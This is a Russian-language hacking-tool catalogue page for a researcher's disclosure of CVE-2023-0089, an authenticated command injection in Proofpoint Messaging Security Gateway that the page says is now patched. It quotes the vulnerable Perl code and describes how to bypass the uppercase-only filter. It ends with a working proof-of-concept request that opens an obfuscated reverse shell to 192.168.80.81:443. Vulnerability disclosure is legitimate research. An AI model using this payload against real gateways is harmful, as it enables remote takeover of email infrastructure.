Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
proofpoint-CVE-2023-0089 — Proofpoint Email Gateway: RCE от низкоуровневого аутентифицированного пользователя до администратора | Kitploit
Инструменты/GitHubGitHub/ly1g3/proofpoint-cve-2023-0089
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеРазработка Полезной Нагрузки
GitHubly1g3/proofpoint-cve-2023-0089

proofpoint-CVE-2023-0089

Proofpoint Email Gateway: RCE от низкоуровневого аутентифицированного пользователя до администратора

Репозиторий
152 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

О программе

Исследователь безопасности: ly1g3, ly1g3[at]tuta.io

Отпечаток GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

Обзор: Удаленное выполнение кода — от низкоуровневого аутентифицированного пользователя до RCE администратора

CVE: CVE-2023-0089

Хронология:

  • Обнаружено - ly1g3
  • Сообщено - ly1g3
  • Исправлено - Proofpoint

Proofpoint Messaging Security Gateway 8.18.4.73-8.18.4.73

Эксплойты для Proofpoint Messaging Security Gateway

Remote Code Execution (RCE)

Низкоуровневый (аутентифицированный) пользователь Euweb может получить произвольное выполнение кода с привилегиями администратора.

Technical

Функция getMsgType в Euwebutils.pm уязвима для внедрения команд. Переменная $module берется из GET-параметра, и к этому пользовательскому вводу не применяется санитизация.

sub getMsgType {
...
else {
		$msgtype = eval "Proofpoint::Digest::PROOFPOINT_MAIL_REPORT_MSGTYPE_".uc($module);
	}

Эта функция getMsgType используется многими вызовами API приложения Euweb, поэтому эксплойт можно активировать различными способами.

Поскольку все символы должны быть в верхнем регистре, можно использовать переменные окружения для обхода этого ограничения для строчных букв. Пример: ${SHELL:1:1} вместо b

Поскольку используется use strict, в начало строки можно добавить MAIL_GENERAL(), чтобы завершить PROOFPOINT_MAIL_REPORT_MSGTYPE_. После этого можно добавить произвольный код Perl.

Пример полезной нагрузки без кодирования: MAIL_GENERAL();`id`

POC

Обратная оболочка, закодированная с использованием переменных окружения для обхода ограничений на строчные буквы. Код выполняется от пользователя pps.

GET /euweb/euweb?cmd=x_releasemsg&id=0&func=ReleaseMsg&entries=23%3A23%3A12&eid=3&module=MAIL_GENERAL()%3b`/\${SHELL%3a1%3a1}\${SHELL%3a2%3a1}\${LANG%3a1%3a1}/\${USER%3a2%3a1}\${SHELL%3a8%3a1}+-\${SHELL%3a2%3a1}+>%26+/\${SSH_TTY%3a1%3a1}\${TERM%3a2%3a1}\${MAIL%3a1%3a1}/\${TERM%3a1%3a1}\${TERM%3a9%3a1}\${USER%3a0%3a1}/192.168.80.81/443+0>%261`
Скачать инструмент